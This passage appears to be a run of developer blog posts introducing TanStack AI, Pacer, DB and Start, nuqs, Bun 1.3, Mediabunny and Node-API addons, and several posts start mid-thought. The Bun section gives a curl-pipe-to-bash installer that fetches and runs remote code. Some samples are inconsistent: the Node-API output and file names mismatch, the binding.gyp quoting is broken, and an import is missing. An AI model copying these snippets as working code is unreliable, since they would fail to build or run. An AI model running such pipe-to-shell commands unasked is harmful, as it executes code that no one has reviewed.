4. Open Protocol : The server - client protocol is fully documented. Use any language. Use any transport. If your backend speaks the protocol, the client works.

2.Why TanStack AI Exists

Developers deserve AI tools without:

• vendor lock-in

• proprietary platforms

• ecosystem traps

Just open source, framework-agnostic, type-safe, developer-first tooling — from the same team that brought you TanStack Query, Table, Router, and more.

3.Framework Agnostic

TanStack AI supports the following frameworks

• Next.js - API routes and App Router

• TanStack Start - React Start or Solid Start (recommended!)

• Express - Node.js server

• Remix Router v7 - Loaders and actions

TanStack AI lets you define a tool once and provide environment-specific implementations. Using toolDefinition() to declare the tool’s input/output types and the server behavior with .server() (or a client implementation with .client()). These isomorphic tools can be invoked from the AI runtime regardless of framework.

import { toolDefinition } from '@tanstack/ai'

// Define a tool
const getProductsDef = toolDefinition({
  name: 'getProducts',
  inputSchema: z.object({ query: z.string() }),
  outputSchema: z.array(z.object({ id: z.string(), name: z.string() })),
})

// Create server implementation
const getProducts = getProductsDef.server(async ({ query }) => {
  return await db.products.search(query)
})

// Use in AI chat
chat({ tools: [getProducts] })

4.Installation & Quick Start

You can install the TanStack AI in minutes

npm install @tanstack/ai @tanstack/ai-react @tanstack/ai-openai

Server Setup

First, create an API route that handles chat requests. Here's a simplified example:

// app/api/chat/route.ts (Next.js)
// or src/routes/api/chat.ts (TanStack Start)
import { chat, toStreamResponse } from "@tanstack/ai";
import { openai } from "@tanstack/ai-openai";

export async function POST(request: Request) {
  // Check for API key
  if (!process.env.OPENAI_API_KEY) {
    return new Response(
      JSON.stringify({
        error: "OPENAI_API_KEY not configured",
      }),
      {
        status: 500,
        headers: { "Content-Type": "application/json" },
      }
    );
  }

  const { messages, conversationId } = await request.json();

  try {
    // Create a streaming chat response
    const stream = chat({
      adapter: openai(),
      messages,
      model: "gpt-4o",
      conversationId
    });

    // Convert stream to HTTP response
    return toStreamResponse(stream);
  } catch (error: any) {
    return new Response(
      JSON.stringify({
        error: error.message || "An error occurred",
      }),
      {
        status: 500,
        headers: { "Content-Type": "application/json" },
      }
    );
  }
}

Client Setup

To use the chat API from your React frontend, create a Chat component:

// components/Chat.tsx
import { useState } from "react";
import { useChat, fetchServerSentEvents } from "@tanstack/ai-react";

export function Chat() {
  const [input, setInput] = useState("");

  const { messages, sendMessage, isLoading } = useChat({
    connection: fetchServerSentEvents("/api/chat"),
  });

  const handleSubmit = (e: React.FormEvent) => {
    e.preventDefault();
    if (input.trim() && !isLoading) {
      sendMessage(input);
      setInput("");
    }
  };

  return (
    <div className="flex flex-col h-screen">
      {/* Messages */}
      <div className="flex-1 overflow-y-auto p-4">
        {messages.map((message) => (
          <div
            key={message.id}
            className={`mb-4 ${
              message.role === "assistant" ? "text-blue-600" : "text-gray-800"
            }`}
          >
            <div className="font-semibold mb-1">
              {message.role === "assistant" ? "Assistant" : "You"}
            </div>
            <div>
              {message.parts.map((part, idx) => {
                if (part.type === "thinking") {
                  return (
                    <div
                      key={idx}
                      className="text-sm text-gray-500 italic mb-2"
                    >
                      💭 Thinking: {part.content}
                    </div>
                  );
                }
                if (part.type === "text") {
                  return <div key={idx}>{part.content}</div>;
                }
                return null;
              })}
            </div>
          </div>
        ))}
      </div>

      {/* Input */}
      <form onSubmit={handleSubmit} className="p-4 border-t">
        <div className="flex gap-2">
          <input
            type="text"
            value={input}
            onChange={(e) => setInput(e.target.value)}
            placeholder="Type a message..."
            className="flex-1 px-4 py-2 border rounded-lg"
            disabled={isLoading}
          />
          <button
            type="submit"
            disabled={!input.trim() || isLoading}
            className="px-6 py-2 bg-blue-600 text-white rounded-lg disabled:opacity-50"
          >
            Send
          </button>
        </div>
      </form>
    </div>
  );
}

Ensure you set the OPENAI_API_KEY in your .env

Now you now have a working chat application. The useChat hook handles:

• Message state management

• Streaming responses

• Loading states

• Error handling

5.DevTools

TanStack Devtools is a unified devtools panel for inspecting and debugging TanStack libraries, including TanStack AI. It provides real-time insights into AI interactions, tool calls, and state changes.

• Real-time Monitoring - View live chat messages, tool invocations, and AI responses.

• Tool Call Inspection - Inspect input and output of tool calls.

• State Visualization - Visualize chat state and message history.

• Error Tracking - Monitor errors and exceptions in AI interactions.

Installation

npm install -D @tanstack/react-ai-devtools @tanstack/react-devtools

Usage

Import and include the Devtools component in your application

import { TanStackDevtools } from '@tanstack/react-devtools'
import { aiDevtoolsPlugin } from '@tanstack/react-ai-devtools'

const App = () => {
  return (
    <>
       <TanStackDevtools 
          plugins={[
            // ... other plugins
            aiDevtoolsPlugin(),
          ]}
          // this config is important to connect to the server event bus
          eventBusConfig={{
            connectToServerBus: true,
          }}
        />
    </>
  )
}

That’s a quick overview of TanStack AI. Check the official docs for more info https://tanstack.com/ai/latest

TanStack Pacer is currently a client-side only library but it is designed to be used in server-side as well.

Features of TanStack Pacer

1. Debouncing - Delay execution until after a period of inactivity for when you only care about the last execution in a sequence.

2. Throttling - Smoothly limit the rate at which a function can fire

3. Rate Limiting - Limit the rate at which a function can fire over a period of time

4. Queuing - Queue functions to be executed in a specific order, Choose from FIFO, LIFO, and Priority queue implementations

5. Batching - Chunk up multiple operations into larger batches to reduce total back-and-forth operations

6. Async or Sync Variations - Choose between synchronous and asynchronous versions of each utility

7. State Management - Uses TanStack Store under the hood for state management with fine-grained reactivity

8. Convenient Hooks - Reduce boilerplate code with pre-built hooks like useDebouncedCallback, useThrottledValue, and useQueuedState, and more.

9. Tree-shaking - Get tree-shaking right for your applications by default

10. Type safety - Full type safety with TypeScript that makes sure that your functions will always be called with the correct arguments

Installation

You can install TanStack Pacer.

To install it in React you can use the below command

npm install @tanstack/react-pacer

To use the devtools for debugging and monitoring, install both the framework devtools and the Pacer devtools packages

npm install @tanstack/react-devtools @tanstack/react-pacer-devtools

Debouncing

Debouncing is a technique that delays the execution of a function until a specified period of inactivity time occured

"use client"
import { useState, useEffect } from "react"
import { useDebouncedValue } from "@tanstack/react-pacer"

export default function ProductSearch() {
  const [input, setInput] = useState("")
  const [results, setResults] = useState<string[]>([])

  // Debounce input by 400ms
  const [debouncedInput] = useDebouncedValue(input, { wait: 400 })

  useEffect(() => {
    if (!debouncedInput) {
      setResults([])
      return
    }

    const fetchData = async () => {
      const response = await fetch(`/api/products?query=${debouncedInput}`)
      const json = await response.json()
      setResults(json.items)
    }

    fetchData()
  }, [debouncedInput])

  return (
    <div className="space-y-2">
      <input
        className="border p-2 w-full"
        placeholder="Search products..."
        value={input}
        onChange={(e) => setInput(e.target.value)}
      />

      {/* Render suggestions */}
      {results.length > 0 && (
        <ul className="border rounded p-2 bg-white">
          {results.map(item => (
            <li key={item} className="py-1 border-b last:border-none">
              {item}
            </li>
          ))}
        </ul>
      )}
    </div>
  )
}

The above example updates the url after 400ms

Throttling

Throttling ensures function executions are evenly spaced over time. Unlike rate limiting which allows bursts of executions up to a limit, or debouncing which waits for activity to stop, throttling creates a smoother execution pattern by enforcing consistent delays between calls.

"use client"
import { throttle } from "@tanstack/react-pacer"

export default function SafeButton() {
  const handleClick = throttle(() => {
    alert("Action performed")
  }, { wait: 1000 }) // only allowed once per second

  return (
    <button
      onClick={handleClick}
      className="px-4 py-2 bg-blue-600 text-white rounded"
    >
      Click Me Fast — I’m Throttled
    </button>
  )
}

Throttled Button (prevents spam clicks) useful for API calls, forms submission or payment prompts

Rate Limiting

Rate Limiting is a technique that limits the rate at which a function can execute over a specific time window. It is particularly useful for scenarios where you want to prevent a function from being called too frequently, such as when handling API requests or other external service calls.

import { rateLimit } from "@tanstack/react-pacer"

const safeLogin = rateLimit(
  async (email: string, password: string) => {
    console.log("Login attempted")
    // Backend login API here
    return { success: true }
  },
  { limit: 3, interval: 30_000 } // allow 3 attempts every 30s
)

// Usage
safeLogin("user@mail.com", "pass123").then(console.log)
safeLogin("user@mail.com", "pass123").then(console.log)
// 4th call within 30s will be rate-limited

Queuing

Queuing ensures that every operation is eventually processed, even if they come in faster than they can be handled. Unlike the other execution control techniques that drop excess operations, queuing buffers operations in an ordered list and processes them according to specific rules.

import { queue } from "@tanstack/react-pacer"

const writeToDB = queue(
  async (record: any) => {
    console.log("Writing record:", record.id)
    await fetch("/api/db/save", {
      method: "POST",
      body: JSON.stringify(record),
      headers: { "Content-Type": "application/json" }
    })
  },
  { concurrency: 3 } // controlled parallelism
)

// Usage
records.forEach(r => writeToDB(r))

Queue Database Writes to Avoid Locking. Batch DB operations without hammering the server.

Batching

Batching collects items over time or until a certain size is reached, then processes them all at once. This is ideal for scenarios where processing items in bulk is more efficient than handling them one by one.

import { batch } from "@tanstack/react-pacer"

const queueMessages = batch(async (msgs: string[]) => {
  await fetch("/api/messages/bulk", {
    method: "POST",
    body: JSON.stringify(msgs),
    headers: { "Content-Type": "application/json" }
  })
}, { maxSize: 20, wait: 1500 }) // send when 20 msgs or 1.5s idle

// Usage
queueMessages("Hello")
queueMessages("How are you?")
queueMessages("What's new?")

Batch messages before sending to server. Reduces network calls by grouping multiple messages.

Final Notes

Using the Tanstack Pacer in your application helps precise control over function execution, leading to smoother UX, reduced API costs, and improved performance. Whether you’re handling user input, managing API calls, or orchestrating complex async workflows, these utilities are your one-stop shop for execution timing

TanStack DB changes that.

It’s a reactive, client-first data store that makes your frontend feel instant, smooth, and reliable—no matter how much data your app handles.

Why TanStack DB Exists

If you’ve built interactive apps before, you’ve probably run into familiar pain points:

• You end up writing custom API endpoints for every page

• Loading everything upfront makes your app slow and memory-heavy

• State management gets messy, especially as your app grows

TanStack DB flips this model and gives you:

• Just-in-time data loading — fetch only what’s needed, when it’s needed

• Fast client-side querying — almost like having a tiny embedded database

• Optimistic updates — your UI updates instantly, even on slow networks

With TanStack DB, your frontend stays fast and fluid—while your backend handles the heavy lifting behind the scenes.

How TanStack DB Makes Apps Feel Fast

At its core, TanStack DB combines a local query engine with real-time sync and optimistic updates.

• Blazing-fast queries: Think sub-millisecond results, even with huge datasets

• Real-time updates: UI changes the moment your data does—users never see stale views

• Optimistic mutations: Edits look instant to the user, while the backend syncs in the background

It plays nicely whether you work with REST APIs, sync engines like ElectricSQL, or other data sources.

The TanStack DB Approach

Instead of “fetch everything” or “build an endpoint for every UI,” you:

• Define collections: client-side sets of structured data (like a table in a database).​

• Run live queries: components react immediately as underlying data changes.

• Make optimistic updates: UI updates before the server replies, rolling back if something fails.

• Choose sync mode per collection: eager (load up front), on-demand (load as needed), or progressive (hybrid).

Key Features

• Live Queries: Components subscribe to exactly the data they need, instantly re-rendering if anything changes.

• Cross-collection Joins: Easily combine multiple sources, so your UI always shows up-to-date, joined data.

• Local-First: Data lives client-side, so offline and near-instant interactions just work.

Example

Imagine a task app. With TanStack DB, you:

• Define a “todo” collection.

• Use a live query to show all incomplete tasks. Any update (even from another tab or device) instantly updates your UI.

• Mark a task done? The UI updates now, and the backend call happens behind the scenes

No more manual syncing, no manual state juggling—everything feels alive by default.

// Define collections to load data into
const todoCollection = createCollection({
  // ...your config
  onUpdate: updateMutationFn,
})

const Todos = () => {
  // Bind data using live queries
  const { data: todos } = useLiveQuery((q) =>
    q.from({ todo: todoCollection }).where(({ todo }) => todo.completed)
  )

  const complete = (todo) => {
    // Instantly applies optimistic state
    todoCollection.update(todo.id, (draft) => {
      draft.completed = true
    })
  }

  return (
    <ul>
      {todos.map((todo) => (
        <li key={todo.id} onClick={() => complete(todo)}>
          {todo.text}
        </li>
      ))}
    </ul>
  )
}

Using TanStack DB

TanStack DB works with:

• REST APIs (via TanStack Query)

• Sync Engines for real-time, distributed data (ElectricSQL, PowerSync, RxDB, more)

• Local Storage for preferences or offline-only data.

Mix and match as you need—your app doesn’t care where the data comes from.

Schema: Your Data’s Safety Net

TanStack DB collections can use schemas (via Zod, Valibot, etc.) for:

• Type safety (auto TypeScript inference)

• Runtime validation (catch errors before bad data is stored)

• Automatic defaults/transformations

This means robust, trustworthy data structures—just like a real database.

Installation

Each supported framework comes with its own package. Each framework package re-exports everything from the core @tanstack/db package.

#React

npm install @tanstack/react-db

#Vue

npm install @tanstack/vue-db

#Angular

npm install @tanstack/angular-db

Check out the official docs for setup guides, tutorials, and detailed examples:

tanstack.com/db/latest/docs/installation#react

TanStack Start is a comprehensive full-stack React framework built on two key technologies:

1. TanStack Router: TanStack Start relies entirely on TanStack Router for its routing system. The Router is known for being type-safe and supporting advanced features like nested routing, search parameters, and data loading.

2. Vite: Start leverages Vite, a modern build tool that ensures fast development cycles through hot module replacement and optimized production builds. Thanks to its integration with Vite, TanStack Start is ready to be developed and deployed to virtually any hosting provider or runtime you choose

2.Full-Stack Capabilities (Beyond the Router)

While the router forms the base (accounting for 90% of the framework), TanStack Start provides a suite of features that enhance the development process by handling both client and server needs

Developers who know with certainty they do not require any of these full-stack features may opt to use TanStack Router alone for powerful, type-safe Single-Page Application (SPA) routing

Current Limitations

The primary relevant limitation noted in the documentation is that TanStack Start does not currently support React Server Components (RSC). However, the documentation explicitly states that the team is actively working on integration and anticipates supporting RSC in the near future

3.Getting started

The fastest way to get a Start project up and running is with the cli. Just run

npm create @tanstack/start@latest

depending on your package manage of choice. You'll be prompted to add things like Tailwind, eslint, and a ton of other options.

npx gitpick TanStack/router/tree/main/examples/react/start-basic start-basic
cd start-basic
npm install
npm run dev

4.Why Developers Love TanStack Start

Across the community, developers keep coming back to a few recurring themes

Less magic, more control.

Frameworks like Next.js and Remix often rely on “magic” — behaviors that happen automatically behind the scenes. TanStack Start takes the opposite approach. You stay in control of how data loads, where it runs, and what gets rendered. Nothing happens unless you make it happen.

Feels closer to React.

Many developers say that once they start building with TanStack Start, they forget they're even in a framework. It feels like writing plain React — just with smarter tools and a few well-chosen conveniences.

A smoother developer experience.

Type-safe routes, built-in server functions, and predictable data fetching make development and debugging straightforward.

Flexible hosting and tooling.

Thanks to Vite and Nitro under the hood, you can build and deploy anywhere. You’re not tied to a single company’s hosting platform or runtime. It’s your app, your stack, your rules.

End Notes

TanStack Start is still growing but it is already making impact. It’s community and documentations are growing quickly and it's backed by a team.

If you want to give it a try to TanStack Start give it a try

https://tanstack.com/start/latest/docs/framework/react/overview

nuqs is a type-safe search params state manager for React. It provides end-to-end type safety between Server and Client components, simplifying your URL logic "like magic". Best of all, it offers a familiar, simple API that makes lifting state to the URL extremely easy. At only 6 kB gzipped, nuqs is a feature-rich, customizable, and thoroughly tested library.

1.Simple State Management with useQueryState

The core strength of nuqs is its simplicity, mimicking the structure of standard React state hooks. If you currently use React.useState to manage local UI state, you can replace it with useQueryState to seamlessly sync that state with the URL.

The useQueryState hook requires one argument the key to be used in the query string. Like React.useState, it returns an array containing the value present in the query string (as a string or null if not found) and a state updater function

'use client'
import { useQueryState } from 'nuqs'

export function Demo () {
  const [name, setName] = useQueryState('name')
  // ... returns name (string or null) and setName function
}

A crucial feature is the handling of default values and types. By default, useQueryState returns a string or null. However, using built-in parsers (like parseAsInteger) allows you to define the expected type and provide a default value

import { useQueryState, parseAsInteger } from 'nuqs'

// `count` will be a number, defaulting to 0 if not in the URL
const [count, setCount] = useQueryState('count', parseAsInteger.withDefault(0))

Using .withDefault(0) ensures that count will never be null, simplifying state updates (e.g., setCount(c => c + 1)).

Note that this default value is internal to React and will not be written to the URL unless you set it explicitly. If you wish to remove a key from the query string entirely, simply set the state value to null

2.Universal Compatibility with Adapters

Since version 2, nuqs has embraced universal compatibility across a variety of React frameworks. This is achieved by wrapping your application entry point with the NuqsAdapter context provider.

Supported frameworks include

• Next.js (App router and Pages router)

• React SPA (e.g., with Vite)

• Remix

• React Router v6 and v7

• TanStack Router (experimental support)

For instance, when using the Next.js App router, you wrap your components in the root layout file:

// src/app/layout.tsx 
import { NuqsAdapter } from 'nuqs/adapters/next/app'
// ...
< NuqsAdapter > { children } </ NuqsAdapter >

Server-Side Framework Considerations

If you are using a non-JavaScript server (like Django, Rails, or Laravel) and need the web server to be notified when the URL state changes (for server-side rendering other parts of the application), you can enable full-page navigation for updates configured with shallow: false. This option, introduced in version 2.4.0, is set on the adapter

<NuqsAdapter fullPageNavigationOnShallowFalseUpdates>

3.Advanced State Management and Server-Side Features

While useQueryState is great for single keys, nuqs offers tools for handling multiple states and integrating seamlessly with server components.

Managing Multiple Keys with useQueryStates For query keys that should always move together, the useQueryStates hook is available. You pass it an object defining all keys and their parsers:

import { useQueryStates, parseAsFloat } from 'nuqs' 

const [coordinates, setCoordinates] = useQueryStates({
  lat: parseAsFloat.withDefault(45.18),
  lng: parseAsFloat.withDefault(5.72)
})

The setCoordinates function allows you to update all (or a subset of) the keys in a single go. All state updates are batched and applied asynchronously to the URL. Furthermore, passing null to the state updater function will clear all keys managed by that useQueryStates hook.

Shorter, Cleaner URLs To ensure that your variable names are readable within your codebase (e.g., latitude) while keeping your URLs short (e.g., lat), you can use the urlKeys option within the hook settings

const [{ latitude, longitude }, setCoordinates] = useQueryStates({ /* ...parsers */ }, {
  urlKeys: {
    latitude: 'lat',
    longitude: 'lng'
  }
})
// This results in URLs like: ?lat=45.18&lng=5.72

Type-Safe Server-Side Reading (Next.js/Remix)

nuqs provides essential tools for accessing search params type-safely on the server. Loaders Introduced in version 2.3.0, loaders allow you to parse search parameters server-side using the createLoader function.

The resulting loader function can parse search params from various sources, including Request objects, full URLs, URLSearchParams objects, or standard key-value records. For example, in a Next.js App Router component, you can consume search parameters asynchronously:

// Example Server Component usage:
const { latitude, longitude } = await loadSearchParams(searchParams)

If you need stricter parsing behavior, you can enable strict mode. By default, if an invalid value is found for a parser (e.g., ?count=banana for an integer), the default value is returned.

In strict mode, loadSearchParams will throw an error. Server Cache for accessing search parameters in deeply nested React Server Components without prop drilling, you can use createSearchParamsCache.

You define your parsers and then call .parse() in the root Server Component. Child Server Components can then access type-safe values using searchParamsCache.get('key')

End Notes

nuqs is a modern, elegant, and powerful solution for managing URL query parameters in the React ecosystem. It provides necessary features like type-safe server handling, batching, and universal adapter support, all while retaining a simple useState-like developer experience

If you are ready to simplify your URL state logic, installation is straightforward:

npm install nuqs

Before we get to 1.3, let us quickly see what Bun is.

Imagine you have a toolbox for building web applications and running JavaScript outside of a web browser. In that toolbox, you usually have things like Node.js (to run your code), npm or Yarn (to manage your project's packages/dependencies), and maybe a bundler like Webpack or Vite (to optimize your code for the browser).

Bun's big idea is to be one super-fast tool that does all of that, and more. It's like having a Swiss Army knife that replaces your whole toolbox, and it's built from the ground up to be incredibly speedy. It's written in a low-level language called Zig, which helps it achieve that performance.

2.Key Features of Bun

1. Runtime: It can run your JavaScript and TypeScript code, just like Node.js.

2. Package Manager: It can install, update, and manage your project's dependencies, similar to npm or Yarn. But it's way faster.

3. Bundler: It can package your code for the browser, like Webpack or Vite, but again, super fast and built-in.

4. Test Runner: It has its own built-in test runner.

5. Transpiler: It understands TypeScript and JSX (React's syntax) out of the box, so no extra setup is needed.

3.What's New and Exciting in Bun 1.3?

Bun 1.3 brings a bunch of improvements

1. Faster bun install: This is a big one! If you've ever waited for npm install to finish, you know the pain. Bun's package manager (bun install) was already fast, but 1.3 makes it even faster, especially for projects with lots of dependencies. They've optimized how it fetches and installs packages. This means less waiting and more coding for you!

2. Windows Compatibility: (More Stable!) While Bun has been available on Windows for a bit, 1.3 significantly improves its stability and performance on the platform. They've fixed a lot of bugs and made it feel much more native and reliable for Windows users.

3. New Bun.Glob API: This is a developer-centric feature that's pretty handy. "Globbing" is a fancy way of describing pattern matching for file paths. For example, if you want to find all .js files in a src folder, you might use a glob pattern like src/**/*.js. Bun.Glob provides a super-fast, built-in way to do this. Before, developers often had to install separate packages to handle globbing. Now it's part of Bun, and it's optimized for speed.

4. fetch API Improvements: The fetch API is a standard way to make network requests (like getting data from a server). Bun 1.3 brings significant performance boosts and better compatibility for its fetch implementation. This means your applications that make a lot of network requests will run even quicker and more reliably.

5. More Node.js Compatibility: Bun aims to be a drop-in replacement for Node.js. With each release, it gets closer to 100% compatibility. Bun 1.3 continues this trend by improving support for more Node.js APIs and modules. This means fewer headaches when migrating existing Node.js projects to Bun.

4.Why Should Developers Care About Bun 1.3?

• Speed: It's the recurring theme. Faster development, faster execution, faster installations.

• Simplicity: One tool to rule them all. Less configuration, less context switching between different tools.

• Modernity: Built for the modern JavaScript ecosystem, with native TypeScript and JSX support.

• Growing Ecosystem: With improved Windows support and Node.js compatibility, Bun's community and adoption are likely to grow even faster.

5.Getting Started

You can install Bun in your machine using the below command

curl -fsSL https://bun.sh/install | bash

or if you have installed bun already you can simply upgrade it

bun upgrade

6.Bun for MonoRepos

While Bun 1.3 itself didn't introduce new, dedicated features specifically for monorepos in the way that tools like Lerna, Turborepo, or Nx do, it significantly improves the experience of working with monorepos due to its core enhancements.

a. Faster bun install is a Game Changer for Monorepos

• The Problem in Monorepos: Monorepos often have many package.json files (one per package/workspace) and a large, shared node_modules directory. Running npm install or yarn install in a monorepo can be notoriously slow, especially for clean installs or when adding new dependencies.

• Bun 1.3's Solution: The even faster bun install directly addresses this pain point. When you run bun install at the root of your monorepo, it's designed to be incredibly efficient at resolving and linking all those dependencies across multiple workspaces.

This means Quicker Setup New developers joining the project or CI/CD pipelines will get up and running much faster. Faster Dependency Changes: Adding or updating a dependency in one package won't bring your entire monorepo workflow to a crawl.

b.Improved Node.js Compatibility

• Monorepo Tools often Rely on Node.js: Many existing monorepo management tools (like Lerna, Turborepo, Nx, or even simple custom scripts) are built on Node.js.

• Bun's Benefit: As Bun's Node.js compatibility improves with 1.3, it means that these tools (or your own Node.js-based scripts within the monorepo) are more likely to run seamlessly with Bun as the underlying runtime. You can leverage Bun's speed for script execution across your workspaces without hitting compatibility walls.

c. Built-in TypeScript and JSX Support

• Common in Monorepos: It's very common for different packages within a monorepo to use TypeScript, React (JSX), or both.

• Bun's Advantage: Bun's native support means you don't need complex tsconfig.json setups or extra transpilers (like Babel or ts-node) for each package just to get things running or test them. Bun can execute your TypeScript and JSX files directly, simplifying the development experience across your monorepo's packages.

7.Package Management

Bun's package manager gets more powerful with isolated installs, interactive updates, dependency catalogs.

a. Catalogs Synchronization

Bun 1.3 makes it easier to work with monorepos.

Bun centralizes version management across monorepo packages with dependency catalogs. Define versions once in your root package.json and reference them in workspace packages.

{
  "name": "monorepo",
  "workspaces": ["packages/*"],
  "catalog": {
    "react": "^18.0.0",
    "typescript": "^5.0.0"
  }
}

Reference catalog versions in workspace packages:

{
  "name": "@company/ui",
  "dependencies": {
    "react": "catalog:"
  }
}

b. Isolated installs are now default for workspaces

Bun 1.3 introduces isolated installs. This prevents packages from accessing dependencies they don't declare in their package.json. Unlike hoisted installs (npm/Yarn's flat structure where all dependencies live in a single node_modules), isolated installs ensure each package only has access to its own declared dependencies.

And if you use "workspaces" in your package.json, it is made as default.

To opt-out you can do either one of the thing

bun install --linker=hoisted

or just update it in bunfig.toml

[install]
linker = "hoisted"

c. New Commands

Bun 1.3 adds several commands that make package management easier

1. bun why - explains why a package is installed

2. bun update --interactive - lets you choose which dependencies to update

3. bun info - lets you view package metadata

4. bun install --analyze - lets you scans your code for imports that aren't in package.json and installs them

5. bun audit scans dependencies for known vulnerabilities using the same database as npm audit

8.Explore more about Bun

• Want to deep dive to see what’s new in Bun 1.3 feel free to look at the official documentation of Bun - https://bun.com/blog/bun-v1.3

• Bun - https://bun.com/

Mediabunny, a brand-new, open-source JavaScript library designed to be a complete toolkit for high-performance media operations on the web.

Why Mediabunny? The Need for In-Browser Media Power

For years, developers have relied on server-side solutions like FFmpeg for robust media processing tasks such as converting, encoding, and manipulating video and audio files. While incredibly powerful, these solutions often introduce latency, increase server load, and can be complex to integrate.

Mediabunny changes this paradigm. It's vision was to create a "FFmpeg for the web" – a pure TypeScript library built from scratch, optimized for browser environments, and leveraging modern web APIs like WebCodecs to unlock unparalleled speed and efficiency.

The goal is simple: empower developers to perform complex media operations directly in the user's browser, faster than anybunny else!

Key Features that Set Mediabunny apart

1. Mediabunny isn't just another media library it's a comprehensive suite of tools engineered for precision and performance

2. Wide Format Support: Handle a vast array of media types with ease. Mediabunny can read and write popular formats including MP4, MOV, WebM, MKV, WAVE, MP3, Ogg, ADTS, and FLAC.

3. Built-in Encoding & Decoding: Forget server roundtrips. Mediabunny supports over 25 video, audio, and subtitle codecs, leveraging the browser's native hardware acceleration through the WebCodecs API for lightning-fast processing.

4. High Precision Operations: Need microsecond-accurate trimming or frame extraction? Mediabunny provides fine-grained control for all reading and writing operations.

5. Powerful Conversion API: Easy-to-use API offers a wealth of features including

• Transmuxing & Transcoding: Change container formats or codecs efficiently.

• Resizing & Cropping: Adjust video dimensions and focus.

• Rotation: Correct video orientation.

• Resampling: Modify audio sample rates.

• Trimming: Cut video and audio segments with precision.

Other Features

1. Streaming I/O: Memory efficiency is crucial for large files. Mediabunny handles reading and writing files of virtually any size using memory-efficient streaming, preventing browser slowdowns.

2. Extremely Tree-shakable: Mediabunny is designed so you only include the features you actually use, leading to incredibly small final bundle sizes (as small as 5 kB gzipped!).

3. Zero Dependencies: To ensure maximum performance and minimal overhead, Mediabunny is implemented entirely in highly performant TypeScript, with absolutely zero external dependencies.

4. Cross-Platform Compatibility: Whether you're building for web browsers or backend Node.js applications, Mediabunny works seamlessly across both environments.

Installation

Install it via npm using the following command

  npm install mediabunny

Alternatively, include it directly with a script tag using one of the builds. Doing so exposes a global Mediabunny object.

  <script src="mediabunny.cjs"></script>

Convert files

Will see a sample code on how we can convert a file

import { Input, Output, Conversion, ALL_FORMATS, BlobSource, WebMOutputFormat } from 'mediabunny';

const input = new Input({
    source: new BlobSource(file),
    formats: ALL_FORMATS,
});

const output = new Output({
    format: new WebMOutputFormat(), // Convert to WebM
    target: new BufferTarget(),
});

const conversion = await Conversion.init({ input, output });
await conversion.execute();

Open Source and Community-Driven

Mediabunny is an open-source project released under the MPL-2.0 license. This means it's completely free to use for any purpose, including closed-source commercial applications.

With Mediabunny, developers can now build richer, more interactive, and performant web applications that handle media files like never before. Imagine in-browser video editors, audio transcoders, or advanced media analysis tools – all running client-side, delivering an instantaneous user experience.

Know more about Mediabunny

• Website: https://mediabunny.dev/

• Github: https://github.com/Vanilagy/mediabunny

• Docs: https://mediabunny.dev/guide/introduction

• What if you need blazing-fast performance?

• Or you want to use an existing C/C++ library instead of rewriting it in JS?

• Or maybe you need access to low-level system features like file systems, drivers, or hardware?

That’s where Node-API (N-API) comes in.

1.What is Node-API (N-API)?

Node-API is a stable C API for building native addons in Node.js.

Before Node-API, addons were tied directly to V8 (Node’s JavaScript engine). Every Node.js or V8 update risked breaking your addon.

With Node-API:

• Addons work across Node.js versions.

• It’s engine-independent (works with V8, ChakraCore, Hermes, etc.).

• It provides a stable ABI (Application Binary Interface).

2.Why Should You want N-API?

• Future-proof - Your addon won’t break every time Node.js upgrades.

• Performance - Run CPU-heavy tasks in native code.

• Reuse existing libraries - Wrap C/C++ instead of reinventing in JS.

• System access - Do things pure JS can’t (hardware, OS integration).

Popular modules that use native code:

• bcrypt → password hashing

• sharp → image processing

• sqlite3 → database driver

3.How Node-API Works?

JavaScript talks to Node-API, which safely communicates with your C/C++ addon.

4.Let’s build a tiny addon

Let’s make our hand’s dirty by building a tiny addon

Step 1: Prerequisites

Make sure you have:

• Node.js

• Python (for build tools)

• C++ compiler (gcc/clang/MSVC)

npm install -g node-gyp

Step 2: Addon Code (C++)

Create a new file named hello.cpp

#include <napi.h>

// This is the native C++ function that will be exposed to JavaScript.
// It takes the standard N-API CallbackInfo object and returns a Napi::Value.
Napi::Value HelloWorld(const Napi::CallbackInfo& info) {
  // Napi::Env is the environment context for the current Node.js instance.
  // It's used to create JavaScript values (strings, numbers, objects, etc.).
  Napi::Env env = info.Env();

  // Create a new JavaScript string with the value "Hello World from C++!"
  // and return it. This value will be the result of calling the function
  // from your Node.js code.
  return Napi::String::New(env, "Hello World from C++!");
}

// The Init function is the entry point for the Node.js addon.
// It's responsible for setting up the exports that will be available
// in JavaScript when the addon is required.
Napi::Object Init(Napi::Env env, Napi::Object exports) {
  // Set a property on the 'exports' object.
  // The first argument is the name of the export (how you'll call it in JS).
  // The second argument is a Napi::Function that wraps our native C++ function.
  exports.Set(Napi::String::New(env, "hello"),
              Napi::Function::New(env, HelloWorld));

  // Return the modified exports object.
  return exports;
}

// This macro registers the addon with Node.js.
// The first argument is the addon's name (must match 'target_name' in binding.gyp).
// The second argument is the initialization function we just defined.
NODE_API_MODULE(hello_world_addon, Init)

This is the core C++ source code. It defines the HelloWorld function that returns a string and an Init function that exports HelloWorld under the name hello.

Step 3: Build Config

Create binding.gyp

{
"targets": [
  {
    "target_name": "hello_world_addon",
    "sources": [ "hello.cpp" ],
    "include_dirs": [
       "<!@(node -p "require('node-addon-api').include")"
     ],
     "defines": [ "NAPI_DISABLE_CPP_EXCEPTIONS" ]
   }
 ]
}

This is a build configuration file for node-gyp. It tells the compiler which C++ files to compile (sources), what to name the final binary (target_name), and where to find the necessary header files (include_dirs).

Step 4: Build the Addon

node-gyp configure build

This generates build/Release/addon.node

Step 5: Use It in Node.js

Create index.js

const addon = require('./build/Release/hello_world_addon.node');

console.log(addon.hello()); // → "Hello from Node-API!"

Run it:

node index.js

You can find the entire source code for the helloworld addon in the following Github

5.How N-API differs from Worklets or WebAssembly?

• Node-API → bridge to native C++ in Node.js.

• Worklets → lightweight JS workers in browser rendering.

• WebAssembly → portable, high-performance modules for both browser + Node.js.

6.Node-API and Hermes

Hermes — a JavaScript engine built by Meta for React Native. It’s optimized for:

• Fast startup

• Low memory usage

• Small binary size

Node.js usually runs on V8, but the community has experimented with running Node.js on Hermes.

Here’s why Node-API is important:

• Node-API is engine-independent.

• If Node.js runs on V8, ChakraCore, or Hermes, your addon still works.

• Without Node-API, you’d have to rewrite bindings for every engine.

Example

Think of Node-API as a universal power adapter:

• V8 = US plug

• Hermes = EU plug

• ChakraCore = UK plug

Without Node-API, you’d need a different charger each time. With Node-API, your addon plugs in anywhere.

7.Resources & Links

Node-API

